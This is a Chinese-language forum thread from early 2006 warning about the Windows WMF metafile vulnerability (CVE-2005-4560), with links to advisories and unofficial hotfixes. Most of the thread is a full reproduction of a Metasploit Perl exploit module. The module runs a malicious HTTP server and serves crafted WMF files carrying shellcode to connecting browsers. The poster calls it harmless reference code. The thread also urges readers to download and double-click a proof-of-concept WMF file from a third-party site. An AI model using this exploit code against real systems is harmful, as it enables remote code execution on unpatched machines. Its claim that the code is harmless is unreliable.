倍可親
標題:
最新微軟病毒, 請注意!!!!!
[列印本頁]
作者:
剛果共和國
時間:
2006-1-4 00:09
標題:
最新微軟病毒, 請注意!!!!!
[B]微軟對此已漏洞於北美中部時間1/5/2005下午4:30分左右發布最新補丁, 請速下載:
http://windowsupdate.microsoft.com
[/B][/SIZE][/COLOR]
[B]
微軟設定於下周二發布最新補丁,在此之前請小心打開任何不可信的圖像!!詳情如下[/SIZE][/B][/COLOR]
中文:
http://antivirus.hinet.net/secureinfo/popup.php?cert_id=HiNet-2005-0189
http://www.gsn-cert.nat.gov.tw/gsn.php?chtip=HiNet-2006-0001
英文:
http://www.microsoft.com/technet/security/advisory/912840.mspx
http://www.eweek.com/article2/0,1895,1906177,00.asp
[B]被侵犯的計算機會類似於這些照片:
注意背景被更換,安全中心被關閉, 而且會跳出窗口讓用戶填寫信用卡信息![/B][/COLOR][/SIZE]
[B]
測試你的系統是否會中毒!!!
右鍵單擊, 下載下面文件, 雙擊下載后的文件. 你會發現"Calc.exe"被打開, 然後跳出Explorer錯誤"Run DLL as an App".
如果有上述情況, 你的電腦就有中毒可能.
剛果本人已經測試過, 除測試系統是否會中毒外不會對系統有負面影響.
[/COLOR][/B][/SIZE]
http://sipr.net/test.wmf
[B]
解決方式:
1. BackChina主頁所提到的避免方式已經不能緩解最新版的病毒/惡意軟體
2. 暫時最新和最完全的解除方式, 下載並安裝下面任何一個exe文件, 等待微軟發布正式補丁時再用程序卸載中心卸載此軟體
[/COLOR][/B][/SIZE]
http://www.grc.com/miscfiles/wmffix_hexblog14.exe
http://handlers.sans.org/tliston/wmffix_hexblog14.exe
http://castlecops.com/modules.ph ... p=getit&lid=496
作者:
剛果共和國
時間:
2006-1-4 04:09
[B]法國安全事件反應團(
FrSIRT
)發布惡意漏洞源碼:(本碼並不能帶來危害,只供參考)[/B][/COLOR][/SIZE]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_xp_pfv_metafile;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
my $advanced =
{
};
my $info =
{
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code Execution',
'Version' => '$Revision: 1.9 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
'san <san [at] xfocus.org>',
'O600KO78RUS[at]unknown.ru'
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 1000 + int(rand(256)) * 4,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],
'Keys' => [ 'wmf' ],
'DisclosureDate' => 'Dec 27 2005',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
$httphost = Pex::Utils::SourceIP('1.2.3.4');
}
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
if ($url !~ /\.wmf/i) {
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting...");
# XXX This could be replaced by obfuscated javascript too...
# Transmit the HTTP redirect response
$fd->Send(
"HTTP/1.0 302 Moved\r\n" .
RandomHeaders().
"Location: ". RandomPath() .".wmf\r\n" .
"Content-Type: text/html\r\n" .
"Content-Length: 0\r\n" .
"Connection: close\r\n" .
"\r\n"
);
$fd->Close();
return;
}
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;
# The number of random objects we generated
my $fill = 0;
# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";
while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}
while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}
my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) + length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* Type of metafile (0=memory, 1=disk, 2=fjear) */
int(rand(2))+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
0x0300,
# DWORD FileSize; /* Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
$fill+1,
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
int(rand(64)+8),
# WORD NumOfParams; /* Not Used (always 0) */
0
).
#
# Filler data
#
$pre_buff.
#
# StandardMetaRecord - Escape()
#
pack('Vvv',
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
0x0026, # Can also be 0xff26, 0x0626, etc...
# WORD Parameters[]; /* Parameter values passed to function */
9,
). $shellcode .
#
# Filler data
#
$suf_buff.
#
# Complete the structure
#
pack('Vv',
3,
0
);
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)."
bytes of payload...");
# Transmit the HTTP response
my $req =
"HTTP/1.0 200 OK\r\n" .
"Content-Type: text/plain\r\n" .
RandomHeaders().
"Content-Length: " . length($content) . "\r\n" .
"Connection: close\r\n" .
"\r\n" .
$content;
my $res = $fd->Send($req);
# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);
$fd->Close();
# The Content-Disposition trick was not very reliable (2003 ignores it)
# "Content-Disposition: inline; filename=". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg\r\n".
}
sub RandomWMFRecord {
my $type = int(rand(3));
if ($type == 0) {
# CreatePenIndirect
return pack('Vv',
8,
0x02FA
). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
# CreateBrushIndirect
return pack('Vv',
7,
0x02FC
). Pex::Text::RandomData(8)
}
else {
# Rectangle
return pack('Vv',
7,
0x041B
). Pex::Text::RandomData(8)
}
}
sub RandomHeaders {
my $self = shift;
my $head = '';
while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}
sub RandomPath {
my $self = shift;
my $path = '';
while (length($path) < 1024) {
$path .= "/" . Pex::Text::AlphaNumText(int(rand(15) + 5));
}
return $path;
}
1;
複製代碼
作者:
剛果共和國
時間:
2006-1-4 10:12
標題:
系統測試
[B]
測試你的系統是否會中毒!!!
右鍵單擊, 下載下面文件, 雙擊下載后的文件. 你會發現"Calc.exe"被打開, 然後跳出Explorer錯誤"Run DLL as an App".
如果有上述情況, 你的電腦就有中毒可能.
本人已經測試過, 除測試系統是否會中毒外不會對系統有負面影響.
[/COLOR][/B][/SIZE]
http://sipr.net/test.wmf
歡迎光臨 倍可親 (https://big5.backchina.com/)
Powered by Discuz! X3.1